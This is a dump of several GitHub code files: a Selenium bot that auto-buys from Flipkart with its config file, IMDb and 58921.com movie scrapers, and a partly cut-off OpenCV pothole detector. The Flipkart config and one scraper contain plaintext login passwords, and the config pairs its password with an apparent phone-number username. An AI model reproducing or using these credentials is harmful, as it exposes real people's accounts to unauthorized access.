else:\n prGreen(\"\\nCard selected...\")\n payment_cvv()\n payment_continue()\n otp_submit()\n #print(driver.find_element_by_xpath(\"//label[@for='COD']//input[1]\").get_attribute(\"id\"))\n #capImg = driver.find_element_by_css_selector(\".AVMILy\")\n #print(capImg.get_attribute(\"src\"))\n #driver.find_element_by_xpath(\"//label[@for='COD']//input[1]\").click()\n #if pay_opt_input == 'COD':\n # emi_button = WebDriverWait(driver, 5).until(\n # EC.presence_of_element_located((By.XPATH, \"//label[@for='COD']//input[1]\"))\n # )\n # print(emi_button.get_attribute(\"type\"))\n # input(\"key\")\n # emi_button.click()\n #time.sleep(0.5)\n #card_name = WebDriverWait(driver, 5).until(\n # EC.element_to_be_clickable((By.XPATH, '//div[contains(text(), \"'+bankname_input+'\")]')) )\n #card_name.click()\n #time.sleep(0.5)\n #emi_tenure = WebDriverWait(driver, 5).until(\n # EC.element_to_be_clickable((By.XPATH, \"//label[@for='\"+tenure_input+\"']\")) )\n #emi_tenure.click()\n #time.sleep(0.5)\n # continue_emi = WebDriverWait(driver, 5).until(\n # EC.presence_of_element_located((By.CSS_SELECTOR, \"._7UHT_c\"))\n # )\n # continue_emi.click()\n prGreen('Payment Method Selected Successfully')\n winsound.Beep(frequency, duration)\n except:\n prRed('choose_payment Failed. Retrying.')\n time.sleep(0.5) \n choose_payment()\n\ndef gc():\n try:\n gc_btn = driver.find_element_by_css_selector(\"._26gfbJ\")\n vouNum = driver.find_element_by_name(\"voucherNumber\")\n vouNum.clear()\n vouNum.send_keys(vou_number)\n vouPin = driver.find_element_by_name(\"voucherPin\")\n vouPin.clear()\n vouPin.send_keys(vou_pin)\n gc_btn.click()\n except:\n print(\"Giftcard option not selected. Retrying\")\n time.sleep(0.5)\n gc()\n\ndef cod_captcha():\n try:\n payment_sel = None\n payment_sel = WebDriverWait(driver, 5).until(EC.presence_of_element_located((By.CSS_SELECTOR, \"._16qL6K\")))\n payment_sel.clear()\n prYellow(\"Type the captcha here:\")\n capText = input()\n payment_sel.send_keys(capText)\n prGreen(\"\\nCaptcha entered successfully.\")\n prYellow(\"\\nClicking Confirm Button order:\")\n confirm_btn = WebDriverWait(driver, 5).until(EC.presence_of_element_located((By.CSS_SELECTOR, \"._7UHT_c\")))\n confirm_btn.click()\n prGreen(\"\\nOrder confirmed successfully\")\n except:\n prRed(\"\\nCaptcha could not be selected. Retrying\")\n #time.sleep(0.2)\n cod_captcha()\n \n\n\ndef phonepe():\n try:\n \n prYellow(\"Continuing with phonepe...\")\n phonepe_con = WebDriverWait(driver, 5).until(EC.presence_of_element_located((By.CSS_SELECTOR, \"._7UHT_c\")))\n phonepe_con.click()\n prYellow(\"Choose QR code mode for quicker payment\")\n #phn_txt.click()\n except:\n prRed(\"Could not enter number\")\n\ndef payment_cvv():\n try:\n payment_sel = None\n payment_sel = WebDriverWait(driver, 5).until(\n EC.presence_of_element_located((By.CSS_SELECTOR, \"._16qL6K\"))\n )\n payment_sel.clear()\n payment_sel.send_keys(cvv_inp)\n print('CVV Entered:'+cvv_inp)\n except:\n print('payment_cvv Failed. Retrying.')\n #time.sleep(0.5) \n #payment_cvv()\n \ndef payment_continue():\n try:\n pay = None\n try:\n pay = WebDriverWait(driver, 5).until(\n EC.presence_of_element_located((By.CSS_SELECTOR, \"._3K1hJZ ._7UHT_c\"))\n )\n print('Pay Button Clickable') \n except:\n print('Pay Button Not Clickable') \n pay.click()\n print('Pay Button Clicked Successfully')\n except:\n print('payment_continue Failed. Retrying.')\n #time.sleep(0.5) \n #payment_continue()\n \ndef otp_submit():\n try:\n otp = WebDriverWait(driver, 5).until(\n EC.presence_of_element_located((By.CSS_SELECTOR, \"._3K1hJZ .l5dwor\"))\n )\n otp.clear()\n print('Please enter OTP here:')\n otp_input = input() \n otp.send_keys(otp_input)\n \n submit_otp = WebDriverWait(driver, 5).until(\n EC.presence_of_element_located((By.CSS_SELECTOR, \"._3K1hJZ ._7UHT_c\"))\n )\n submit_otp.click()\n print('OTP Submitted Successfully')\n except:\n print('otp_submit Failed. Retrying.')\n time.sleep(0.5) \n otp_submit()\n\ndef try_till_otp(): \n login()\n login_submit()\n buy_check()\n if addr_1 == 1:\n deliver_option()\n deliver_continue()\n order_summary_continue()\n choose_payment()\n #payment_cvv()\n #payment_continue()\n #otp_submit()\n\nif __name__ == \"__main__\":\n try_till_otp()\n\n\n\n\n\n" }, { "alpha_fraction": 0.6967853903770447, "alphanum_fraction": 0.7993049621582031, "avg_line_length": 38.68965530395508, "blob_id": "2d84a62356c835485c4aae8b118bf2616efa9a61", "content_id": "5dc9f8bf63831e216444860ed85a025377eca38e", "detected_licenses": [], "is_generated": false, "is_vendor": true, "language": "INI", "length_bytes": 1151, "license_type": "no_license", "max_line_length": 422, "num_lines": 29, "path": "/dist/config.ini", "repo_name": "amitsaxena098/DTFlipkartAutobuy", "src_encoding": "UTF-8", "text": "\n[MAIN]\nDRIVER_LOCATION = C:\\Program Files (x86)\\Google\\Chrome\\Application\\chromedriver.exe\n\n[CREDENTIALS]\nUSERNAME = 8338824118\nPASSWORD = Madhu@12\n\n[ORDER]\nLINK = https://www.flipkart.com/realme-narzo-10-that-green-128-gb/p/itmfaa990ac54b7a?pid=MOBFQ36AGTW8HNMW&lid=LSTMOBFQ36AGTW8HNMWFLXHAY&marketplace=FLIPKART&srno=s_1_2&otracker=AS_QueryStore_OrganicAutoSuggest_1_3_na_na_na&otracker1=AS_QueryStore_OrganicAutoSuggest_1_3_na_na_na&fm=SEARCH&iid=25c0ef31-4ec1-4d6e-8ec6-dfb0eac53702.MOBFQ36AGTW8HNMW.SEARCH&ppt=sp&ppn=sp&ssid=xfekr02tcj7hrkzk1592843174787&qH=d822f9379ff3f8a1\nCVV = 123\nQUANTITY = 2 \nADDRESS = CNTCT8A74C5F2B00547AF80F9DD363\nPAYMENT = COD\nMULTIPLE_ADDRESSES_SAVED = 0\n#Set above option to 1 when you have multiple addresses saved in ur profile, set 0 when only ONE is saved\n\nVOUCHER_NUMBER = 1234\nVOUCHER_PIN = 1234\n\n#voucher number and pin are used for giftcard payment option, keep it 1234 when not using gc payment mode\n#Payment modes: COD/PHONEPE/Card ID number/GC\n#Adrress : Address ID\n\n[EMIOPTIONS]\nBANK = HDFC Bank Credit Card\nTENURE = 6\n\n\n#NOTE: DO NOT KEEP ANYTHING BLANK. PUT RANDOM VALUES WHEN NOT USING ANY VARIABLE." } ]
4
msa1906/python_web_scraper
https://github.com/msa1906/python_web_scraper
d5fead04199dbd50131a9ad441b03b1e5155a107
df21d1ae25d9f53db3f0f5618e13f1e213d1621b
af247f1a8564e2a45890f069a25cab88b4ecd67a
refs/heads/master
2020-03-08T01:34:58.797699
2018-04-04T14:52:31
2018-04-04T14:52:31
127,834,656
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.6250771880149841, "alphanum_fraction": 0.6497837901115417, "avg_line_length": 26.44915199279785, "blob_id": "41628c5736d90d8df7f78eef34e0e9acb60892b9", "content_id": "86a4b8652924a80cdc82603de58ffea439793410", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3238, "license_type": "no_license", "max_line_length": 107, "num_lines": 118, "path": "/chinese_company_company/get_data_58921.py", "repo_name": "msa1906/python_web_scraper", "src_encoding": "UTF-8", "text": "import requests\nimport re\nfrom bs4 import BeautifulSoup\nimport csv\nfrom datetime import datetime\nimport math\nimport socket \nimport time \n\npage_url =\n\nurl = 'http://www.cbooo.cn/Mdata/getMdata_movie?area=1&type=0&year=2017&initial=%E5%85%A8%E9%83%A8&pIndex='\nresult = requests.get(\n\turl, \n\theaders = dict(referer = url)\n)\n\n\nsocket.setdefaulttimeout(20)\nurl = 'http://58921.com/alltime/2017?page='\n\npage_num = 0\n\npage = session_requests.get(url + str(page_num))\n\nif page.status_code == '200':\n\tprint('return 200')\n\t\nsoup = BeautifulSoup(page.text, 'html.parser')\n\ncount_text = soup.select('li.pager_count span.pager_number')[0].get_text()\ncount_groups = re.search('\\d+\\/(\\d+)', count_text)\ncount = int(count_groups.group(1))\n\t\n\n\t\n\t\ndef ensureUtf(s):\n try:\n if type(s) == unicode:\n return s.encode('utf8', 'ignore')\n except: \n return str(s)\n\t\ndef movie_data(movie):\n\tid = re.search('\\d+', movie['href']).group(0)\n\tprint('movie id' + str(id))\n\tname = movie.get_text()\n\ttitleWeb = 'http://58921.com/film/'\n\twhile 1:\n\t\ttry:\n\t\t\tmovie_page = session_requests.get(titleWeb+ id)\n\t\texcept:\n\t\t\tcontinue\n\t\tbreak\n\t\n\tmoviesoup = BeautifulSoup(movie_page.text, 'html.parser')\n\tdirctor = moviesoup.select('ul.dl-horizontal li:nth-of-type(2) a')\n\tarea = moviesoup.select('ul.dl-horizontal li:nth-of-type(6) a')\n\ttry:\n\t\tif not (re.match('\\/tag\\/film\\/36',area[0]['href'])):\n\t\t\tprint('not in china')\n\t\t\twith open('not_china'+'.csv', 'a', newline='', encoding='utf-8') as csvfile:\n\t\t\t\tspamwriter = csv.writer(csvfile)\n\t\t\t\tlist1 = [int(id)]\n\t\t\t\tlist1 = list(map(lambda x:ensureUtf(x), list1))\n\t\t\t\tspamwriter.writerow(list1)\n\t\t\treturn\n\texcept: \n\t\tprint('exception in find china')\n\t\twith open('not_china'+'.csv', 'a', newline='', encoding='utf-8') as csvfile:\n\t\t\t\tspamwriter = csv.writer(csvfile)\n\t\t\t\tlist1 = [int(id)]\n\t\t\t\tlist1 = list(map(lambda x:ensureUtf(x), list1))\n\t\t\t\tspamwriter.writerow(list1)\n\t\treturn\n\ttry:\n\t\tdirctor_id = dirctor[0]['href']\n\t\tdirctor_id = re.search('\\d+', dirctor_id).group(0)\n\t\t\n\t\tstars = moviesoup.select('ul.dl-horizontal li:nth-of-type(3) a')\n\t\tprint('find dirctor')\n\t\twith open('director'+'.csv', 'a', newline='', encoding='utf-8') as csvfile:\n\t\t\tspamwriter = csv.writer(csvfile)\n\t\t\tlist1 = [int(id), int(dirctor_id)]\n\t\t\tlist1 = list(map(lambda x:ensureUtf(x), list1))\n\t\t\tspamwriter.writerow(list1)\n\t\t\t\n\t\tfor star in range(len(stars)):\n\t\t\tstar = stars[star]\n\t\t\tstar_id = re.search('\\d+', star['href']).group(0)\n\t\t\twith open('stars'+'.csv', 'a', newline='', encoding='utf-8') as csvfile:\n\t\t\t\tspamwriter = csv.writer(csvfile)\n\t\t\t\tlist1 = [int(id), int(star_id)]\n\t\t\t\tlist1 = list(map(lambda x:ensureUtf(x), list1))\n\t\t\t\tspamwriter.writerow(list1)\n\texcept:\n\t\twith open('error'+'.csv', 'a', newline='', encoding='utf-8') as csvfile:\n\t\t\t\tspamwriter = csv.writer(csvfile)\n\t\t\t\tlist1 = [int(id)]\n\t\t\t\tlist1 = list(map(lambda x:ensureUtf(x), list1))\n\t\t\t\tspamwriter.writerow(list1)\n\t\t\t\t\n\nfor page_num in range(0, count+1) :\n\tprint('page'+str(page_num))\n\twhile 1:\n\t\ttry:\n\t\t\tpage = session_requests.get(url + str(page_num))\n\t\texcept:\n\t\t\tcontinue\n\t\tbreak\t\t\n\tsoup = BeautifulSoup(page.text, 'html.parser')\n\t\t\n\tmovies = soup.select(\"td a\")\n\tfor movie in movies:\n\t\tif re.match('\\/film\\/\\d+',movie['href']):\n\t\t\tmovie_data( movie )" }, { "alpha_fraction": 0.5959792733192444, "alphanum_fraction": 0.6121919751167297, "avg_line_length": 24.71666717529297, "blob_id": "406d182c7f9b2ba00305ee86cc1b033df8131cb9", "content_id": "95b3f19f8cbfa42d262a7969e631c8781777f29b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1542, "license_type": "no_license", "max_line_length": 99, "num_lines": 60, "path": "/company_company/filted-data-us/filted/create_form.py", "repo_name": "msa1906/python_web_scraper", "src_encoding": "UTF-8", "text": "import csv\nimport re\nimport os\n\n\ndef ensureUtf(s):\n try:\n if type(s) == unicode:\n return s.encode('utf8', 'ignore')\n except: \n return str(s)\n\n\ndirectory = r'C:\\Users\\Logan\\Desktop\\python_web_scraper\\company_company\\filted-data-us\\filted'\nfilm = {}\n\nfor filename in os.listdir(directory):\n\tif filename.endswith(\".csv\"):\n\t\tprint(filename)\n\t\tspamReader = csv.reader(open(filename, newline=''))\n\t\tfor row in spamReader:\n\t\t\tif len(row) > 5:\n\t\t\t\t#more than one company\n\t\t\t\tfor i in range(4, len(row) ):\n\t\t\t\t\tfor j in range(i, len(row) ):\n\t\t\t\t\t\tif row[i] not in film:\n\t\t\t\t\t\t\tfilm[row[i]] = len(film)\n\t\t\t\t\t\tif row[j] not in film:\n\t\t\t\t\t\t\tfilm[row[j]] = len(film)\n\n\n\t\tMatrix = [[0 for x in range(len(film))] for y in range(len(film))] \n\n\t\tspamReader = csv.reader(open(filename, newline=''))\t\t\t\t\t\n\t\tfor row in spamReader:\n\t\t\tif len(row) > 5:\n\t\t\t\t#more than one company\n\t\t\t\tfor i in range(4, len(row) ):\n\t\t\t\t\tfor j in range(i + 1, len(row) ):\n\t\t\t\t\t\tMatrix[film[row[i]]][film[row[j]]]+= 1\n\t\t\t\t\t\tMatrix[film[row[j]]][film[row[i]]]+= 1\n\t\t\t\t\t\tprint('com1' + row[i] + 'coom2' + row[j]+'counter' + str(Matrix[film[row[i]]][film[row[j]]]))\n\t\t\t\t\t\t\n\t\tprint(Matrix)\n\t\tcontinue\n\telse:\n\t\tcontinue\nwith open('2017'+'.csv', 'a', newline='') as csvfile:\n\tspamwriter = csv.writer(csvfile)\n\tlist1 = ['']\n\tlist1.extend(film)\n\tlist1 = list(map(lambda x:ensureUtf(x), list1))\n\tspamwriter.writerow(list1)\n\t\n\tfor (k, v) in film.items():\n\t\tlist1 = [k]\n\t\tlist1.extend(Matrix[v])\n\t\t\t\n\t\tlist1 = list(map(lambda x:ensureUtf(x), list1))\n\t\tspamwriter.writerow(list1)" }, { "alpha_fraction": 0.5700151920318604, "alphanum_fraction": 0.6670472025871277, "avg_line_length": 29.569766998291016, "blob_id": "ef32ec50667163026f0bc07251e56918193a7a2e", "content_id": "20c38aca32efac1d81b7828334324b8eeadacd76", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2628, "license_type": "no_license", "max_line_length": 301, "num_lines": 86, "path": "/code/get_data.py", "repo_name": "msa1906/python_web_scraper", "src_encoding": "UTF-8", "text": "import requests\nimport re\nfrom bs4 import BeautifulSoup\nimport csv\nfrom datetime import datetime\nimport math\nimport socket \nimport time \n \nsocket.setdefaulttimeout(20)\nurl = 'http://www.imdb.com/search/title?title_type=feature&countries=us&release_date='\nyear_list = ['2017-01-01,2017-01-31','2017-02-02,2017-02-28','2017-03-01,2017-03-31','2017-04-01,2017-04-30','2017-05-01,2017-05-31','2017-06-01,2017-06-30','2017-07-01,2017-07-31','2017-08-01,2017-08-31','2017-09-01,2017-09-30','2017-10-01,2017-10-31','2017-11-01,2017-11-30','2017-12-01,2017-12-31']\n\n\n\n\n\t\ndef ensureUtf(s):\n try:\n if type(s) == unicode:\n return s.encode('utf8', 'ignore')\n except: \n return str(s)\n\t\ndef movie_data(movie):\n\tid = re.search('\\d+', movie['href']).group(0)\n\t\n\tname = movie.get_text()\n\ttitleWeb = 'http://www.imdb.com/title/tt'\n\tmovie_page = requests.get(titleWeb+ id)\n\tprint(name)\n\tprint(id)\n\t\n\tmoviesoup = BeautifulSoup(movie_page.text, 'html.parser')\n\trelease_date = 'unknow'\n\ttry:\n\t\trelease_date = moviesoup.select('div.subtext a[title=\"See more release dates\"] meta')\n\t\trelease_date = re.search('(19|20)\\d\\d[- /.](0[1-9]|1[012])[- /.](0[1-9]|[12][0-9]|3[01])',release_date[0]['content']).group(0)\n\t\tprint(release_date)\n\t\t\n\texcept :\n\t\trelease_date = 'unknow'\n\t\tpass\n\tcompany_page = requests.get('http://www.imdb.com/title/tt' +id+'/companycredits')\n\tcompanySoup = BeautifulSoup(company_page.text, 'html.parser')\n\tcompanys = companySoup.select('#production + ul.simpleList a')\n\tcompanys = list(map(lambda x: x.text, companys))\n\t\t\t\n\tprint(companys)\n\twith open(year+'.csv', 'a', newline='', encoding='utf-8') as csvfile:\n\t\tspamwriter = csv.writer(csvfile)\n\t\tlist1 = [id, name, release_date, datetime.now()]\n\t\tlist1.extend(companys)\n\t\tlist1 = list(map(lambda x:ensureUtf(x), list1))\n\t\tprint(list1)\n\t\tspamwriter.writerow(list1)\ndef get_with_year(year):\n\tpage_num = 1\n\n\tpage = requests.get(url + year +'&count=250&page=' + str(page_num))\n\n\tif page.status_code == '200':\n\t\tprint('return 200')\n\t\t\n\tsoup = BeautifulSoup(page.text, 'html.parser')\n\n\tcount_text = soup.select('div.nav div.desc')[0].get_text()\n\tcount_groups = re.search(' (\\d+),(\\d+) titles', count_text)\n\tcount = math.ceil(int(count_groups.group(1) + count_groups.group(2)) / 250)\n\n\tif count > 10000: \n\t\tprint('too many result')\n\t\texit()\n\t\t\n\tfor page_num in range(1, count+1) :\n\t\t\n\t\ttime.sleep(1)\n\t\t\t\t\n\t\tpage = requests.get(url + year +'&count=250&page=' + str(page_num))\n\t\tsoup = BeautifulSoup(page.text, 'html.parser')\n\t\t\t\n\t\tmovies = soup.select(\"h3.lister-item-header a\")\n\t\tfor movie in movies:\n\t\t\tmovie_data(movie)\nfor year in year_list:\n\tget_with_year(year)" }, { "alpha_fraction": 0.5756070613861084, "alphanum_fraction": 0.6136865615844727, "avg_line_length": 23.5, "blob_id": "5e484fb28421454182be6b4af3e00beb3bd25b20", "content_id": "b2488e15e6a525e1e06d6a6f833a12d1cab9fd11", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1812, "license_type": "no_license", "max_line_length": 100, "num_lines": 74, "path": "/company_company/origin_us/filter-single.py", "repo_name": "msa1906/python_web_scraper", "src_encoding": "UTF-8", "text": "import csv\nimport re\nimport requests\n\nfrom bs4 import BeautifulSoup\n\n\nfrom datetime import datetime\nimport math\nimport socket \nimport time \n\n\n\n\t\ndef ensureUtf(s):\n try:\n if type(s) == unicode:\n return s.encode('utf8', 'ignore')\n except: \n return str(s)\ndef filt_file(name):\n\tspamReader = csv.reader(open(name + '.csv', newline=''))\n\tfor row in spamReader:\n\t\tid = int(row[0])\n\t\tdate = row[2]\n\t\tflag = False\n\t\tif date == 'unknow':\n\t\t\tprint('unknow' + str(id))\n\t\t\twhile 1:\n\t\t\t\ttry:\n\t\t\t\t\tprint('try get page id' + str(id))\t\n\t\t\t\t\ttitleWeb = 'http://www.imdb.com/title/tt'\n\t\t\t\t\tmovie_page = requests.get(titleWeb+ str(id))\n\t\t\t\texcept:\n\t\t\t\t\tcontinue\n\t\t\t\tbreak\n\t\t\t\n\t\t\tmoviesoup = BeautifulSoup(movie_page.text, 'html.parser')\n\t\t\trelease_date = 'unknow'\n\t\t\ttry:\n\t\t\t\trelease_date = moviesoup.select('div.subtext a[title=\"See more release dates\"] meta')\n\t\t\t\trelease_date = re.search('(19|20)\\d\\d[- /.](0[1-9]|1[012])',release_date[0]['content']).group(0)\n\t\t\t\tprint(release_date)\n\t\t\t\trow[2] = release_date\n\t\t\texcept:\n\t\t\t\ttry: \n\t\t\t\t\t\n\t\t\t\t\trelease_date = re.search('(19|20)\\d\\d',release_date[0]['content']).group(0)\n\t\t\t\t\tprint(release_date)\n\t\t\t\t\trow[2] = release_date\n\t\t\t\texcept:\n\t\t\t\t\t\n\t\t\t\t\tprint('error in date finder')\n\t\t\t\t\trow[2] = 'unknow'\n\t\t\t\t\tpass\n\t\t\n\t\tif re.match('^2017-12', row[2]):\n\t\t\n\t\t\n\t\t\twith open(name+'_filted'+'.csv', 'a', newline='') as csvfile:\n\t\t\t\tspamwriter = csv.writer(csvfile)\n\t\t\t\tlist1 = row\n\t\t\t\tlist1 = list(map(lambda x:ensureUtf(x), list1))\n\t\t\t\t#print(list1)\n\t\t\t\tspamwriter.writerow(list1)\n\t\telif re.match('^2017',row[2]):\n\t\t\twith open(name+'_2017_only'+'.csv', 'a', newline='') as csvfile:\n\t\t\t\tspamwriter = csv.writer(csvfile)\n\t\t\t\tlist1 = row\n\t\t\t\tlist1 = list(map(lambda x:ensureUtf(x), list1))\n\t\t\t\t#print(list1)\n\t\t\t\tspamwriter.writerow(list1)\nfilt_file('2017-02-02,2017-02-28')" }, { "alpha_fraction": 0.6460176706314087, "alphanum_fraction": 0.6673044562339783, "avg_line_length": 26.513158798217773, "blob_id": "7959600577e9d60bf9105da82c6affc718a23001", "content_id": "13aceee728a1d0a0c8051a9790244bc5fa06863a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4181, "license_type": "no_license", "max_line_length": 79, "num_lines": 152, "path": "/dirctor_star/get_data_58921.py", "repo_name": "msa1906/python_web_scraper", "src_encoding": "UTF-8", "text": "import requests\nimport re\nfrom bs4 import BeautifulSoup\nimport csv\nfrom datetime import datetime\nimport math\nimport socket \nimport time \n\nfrom lxml import html\nfrom requests.packages.urllib3 import add_stderr_logger\nimport urllib\nfrom urllib.error import HTTPError\nfrom urllib.request import urlopen\nimport re, random, datetime\nrandom.seed(datetime.datetime.now())\n\nadd_stderr_logger()\nlogin_page = requests.get('http://58921.com/user/login')\nlogin_soup = BeautifulSoup(login_page.text, 'html.parser')\ntoken = login_soup.select('input[name=\"form_token\"]')[0]['value']\n\n\nsession = requests.Session()\nlogin_url = 'http://58921.com/user/login'\nsession_requests = requests.session()\nresult = session_requests.get(login_url)\n\nlogin_soup = BeautifulSoup(result.text, 'html.parser')\ntoken = login_soup.select('input[name=\"form_token\"]')[0]['value']\npayload = {\n\t\"mail\": \"[email protected]\", \n\t\"pass\": \"19061906a\", \n\t\"form_id\": \"user_login_form\",\n\t\"form_token\": token\n}\nauthenticity_token = token\nlogin_url = 'http://58921.com/user/login/ajax?ajax=submit&__q=user/login'\n\nresult = session_requests.post(\n\tlogin_url, \n\tdata = payload, \n\theaders = dict(referer=login_url)\n)\n\nurl = 'http://58921.com/user/center'\nresult = session_requests.get(\n\turl, \n\theaders = dict(referer = url)\n)\n\n\nsocket.setdefaulttimeout(20)\nurl = 'http://58921.com/alltime/2017?page='\n\npage_num = 0\n\npage = session_requests.get(url + str(page_num))\n\nif page.status_code == '200':\n\tprint('return 200')\n\t\nsoup = BeautifulSoup(page.text, 'html.parser')\n\ncount_text = soup.select('li.pager_count span.pager_number')[0].get_text()\ncount_groups = re.search('\\d+\\/(\\d+)', count_text)\ncount = int(count_groups.group(1))\n\t\n\n\t\n\t\ndef ensureUtf(s):\n try:\n if type(s) == unicode:\n return s.encode('utf8', 'ignore')\n except: \n return str(s)\n\t\ndef movie_data(movie):\n\tid = re.search('\\d+', movie['href']).group(0)\n\tprint('movie id' + str(id))\n\tname = movie.get_text()\n\ttitleWeb = 'http://58921.com/film/'\n\twhile 1:\n\t\ttry:\n\t\t\tmovie_page = session_requests.get(titleWeb+ id)\n\t\texcept:\n\t\t\tcontinue\n\t\tbreak\n\t\n\tmoviesoup = BeautifulSoup(movie_page.text, 'html.parser')\n\tdirctor = moviesoup.select('ul.dl-horizontal li:nth-of-type(2) a')\n\tarea = moviesoup.select('ul.dl-horizontal li:nth-of-type(6) a')\n\ttry:\n\t\tif not (re.match('\\/tag\\/film\\/36',area[0]['href'])):\n\t\t\tprint('not in china')\n\t\t\twith open('not_china'+'.csv', 'a', newline='', encoding='utf-8') as csvfile:\n\t\t\t\tspamwriter = csv.writer(csvfile)\n\t\t\t\tlist1 = [int(id)]\n\t\t\t\tlist1 = list(map(lambda x:ensureUtf(x), list1))\n\t\t\t\tspamwriter.writerow(list1)\n\t\t\treturn\n\texcept: \n\t\tprint('exception in find china')\n\t\twith open('not_china'+'.csv', 'a', newline='', encoding='utf-8') as csvfile:\n\t\t\t\tspamwriter = csv.writer(csvfile)\n\t\t\t\tlist1 = [int(id)]\n\t\t\t\tlist1 = list(map(lambda x:ensureUtf(x), list1))\n\t\t\t\tspamwriter.writerow(list1)\n\t\treturn\n\ttry:\n\t\tdirctor_id = dirctor[0]['href']\n\t\tdirctor_id = re.search('\\d+', dirctor_id).group(0)\n\t\t\n\t\tstars = moviesoup.select('ul.dl-horizontal li:nth-of-type(3) a')\n\t\tprint('find dirctor')\n\t\twith open('director'+'.csv', 'a', newline='', encoding='utf-8') as csvfile:\n\t\t\tspamwriter = csv.writer(csvfile)\n\t\t\tlist1 = [int(id), int(dirctor_id)]\n\t\t\tlist1 = list(map(lambda x:ensureUtf(x), list1))\n\t\t\tspamwriter.writerow(list1)\n\t\t\t\n\t\tfor star in range(len(stars)):\n\t\t\tstar = stars[star]\n\t\t\tstar_id = re.search('\\d+', star['href']).group(0)\n\t\t\twith open('stars'+'.csv', 'a', newline='', encoding='utf-8') as csvfile:\n\t\t\t\tspamwriter = csv.writer(csvfile)\n\t\t\t\tlist1 = [int(id), int(star_id)]\n\t\t\t\tlist1 = list(map(lambda x:ensureUtf(x), list1))\n\t\t\t\tspamwriter.writerow(list1)\n\texcept:\n\t\twith open('error'+'.csv', 'a', newline='', encoding='utf-8') as csvfile:\n\t\t\t\tspamwriter = csv.writer(csvfile)\n\t\t\t\tlist1 = [int(id)]\n\t\t\t\tlist1 = list(map(lambda x:ensureUtf(x), list1))\n\t\t\t\tspamwriter.writerow(list1)\n\t\t\t\t\n\nfor page_num in range(0, count+1) :\n\tprint('page'+str(page_num))\n\twhile 1:\n\t\ttry:\n\t\t\tpage = session_requests.get(url + str(page_num))\n\t\texcept:\n\t\t\tcontinue\n\t\tbreak\t\t\n\tsoup = BeautifulSoup(page.text, 'html.parser')\n\t\t\n\tmovies = soup.select(\"td a\")\n\tfor movie in movies:\n\t\tif re.match('\\/film\\/\\d+',movie['href']):\n\t\t\tmovie_data( movie )" } ]
5
ShivanshSetia/Pothole-Detector-
https://github.com/ShivanshSetia/Pothole-Detector-
79066f413e8e84fcaf6193f2a44913e78f944631
b71c80bfbede408c0ca95c98e2827a0aca291883
18e87f4f113873e870c6f4df22ff86afae32c909
refs/heads/master
2020-12-21T21:18:19.135470
2020-01-28T04:43:02
2020-01-28T04:43:02
236,564,579
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.6138719916343689, "alphanum_fraction": 0.661065399646759, "avg_line_length": 22.5, "blob_id": "37887367033f256445d47844e497643d057457cd", "content_id": "a51d240b6342e9a4ad06320b0af84921960146f5", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2797, "license_type": "no_license", "max_line_length": 89, "num_lines": 114, "path": "/POTHOLE_DETECTION.py", "repo_name": "ShivanshSetia/Pothole-Detector-", "src_encoding": "UTF-8", "text": "import cv2\r\nimport numpy as np\r\n\r\n\r\n\r\nimg = cv2.imread(\"index3.jpeg\", 0)\r\n#print(img.shape[1],img.shape[0])\r\n\r\ncv2.imwrite(\"canny.jpg\", cv2.Canny(img, 200, 300))\r\ncv2.imshow(\"canny\", cv2.imread(\"canny.jpg\"))\r\nimg = cv2.imread('canny.jpg')\r\ndim = (275,183)\r\nimg = cv2.resize(img, dim, interpolation = cv2.INTER_AREA)\r\n\r\n\r\n\r\n\r\n\r\n\r\nnoise_img = cv2.fastNlMeansDenoisingColored(img,None,10,10,7,21)\r\n\r\n\r\n#kernel = np.ones((3,3),np.uint8)\r\n#dil = cv2.dilate(img,kernel)\r\n\r\n\r\n#cv2.imshow('show',noise_img)\r\n\r\n#cv2.waitKey()\r\n#opening = cv2.morphologyEx(img, cv2.MORPH_CLOSE, kernel)\r\n\r\n#cv2.imshow('sho',opening)\r\n#cv2.waitKey()\r\n\r\ngray = cv2.cvtColor(noise_img, cv2.COLOR_BGR2GRAY) \r\n#gray = cv2.Canny(gray, 200, 300)\r\nret, thresh = cv2.threshold(gray, 50, 255, cv2.THRESH_BINARY)\r\n_,contours,hierarchy=cv2.findContours(thresh, cv2.RETR_TREE, cv2.CHAIN_APPROX_SIMPLE)\r\nhull = []\r\n \r\n# calculate points for each contour\r\nfor i in range(len(contours)):\r\n # creating convex hull object for each contour\r\n hull.append(cv2.convexHull(contours[i], False))\r\n\r\ndrawing = np.zeros((thresh.shape[0], thresh.shape[1], 3), np.uint8)\r\n \r\n# draw contours and hull points\r\nfor i in range(len(contours)):\r\n color_contours = (0, 255, 0) # green - color for contours\r\n color = (255, 0, 0) # blue - color for convex hull\r\n # draw ith contour\r\n cv2.drawContours(drawing, contours, i, color_contours, 1, 8, hierarchy)\r\n # draw ith convex hull object\r\n cv2.drawContours(drawing, hull, i, color, 1, 8)\r\ncount =0\r\n#print(cv2.contourArea(np.around(np.array([[pt] for pt in contours])).astype(np.int32)) )\r\nfor p in range(len(contours)):\r\n contour=np.array(contours[p]).astype(np.int32)\r\n #print(cv2.contourArea(contour))\r\n if cv2.contourArea(contour)>50:\r\n count+=1\r\n#cv2.drawContours(drawing, contours, i, color_contours, 1, 8, hierarchy)\r\nprint(' APPROXIMATE NO. OF POTHOLES = ' + str(count) )\r\ncv2.imshow('img',drawing)\r\ncv2.waitKey()\r\n\r\n'''\r\n###########333\r\n\r\n\r\nth, im_th = cv2.threshold(opening, 220, 255, cv2.THRESH_BINARY_INV);\r\n \r\n# Copy the thresholded image.\r\nim_floodfill = im_th.copy()\r\n \r\n# Mask used to flood filling.\r\n# Notice the size needs to be 2 pixels than the image.\r\nh, w = im_th.shape[:2]\r\nmask = np.zeros((h+2, w+2), np.uint8)\r\n \r\n# Floodfill from point (0, 0)\r\ncv2.floodFill(im_floodfill, mask, (0,0), 255);\r\n \r\n# Invert floodfilled image\r\nim_floodfill_inv = cv2.bitwise_not(im_floodfill)\r\n \r\n# Combine the two images to get the foreground.\r\nim_out = im_th | im_floodfill_inv\r\n \r\n# Display 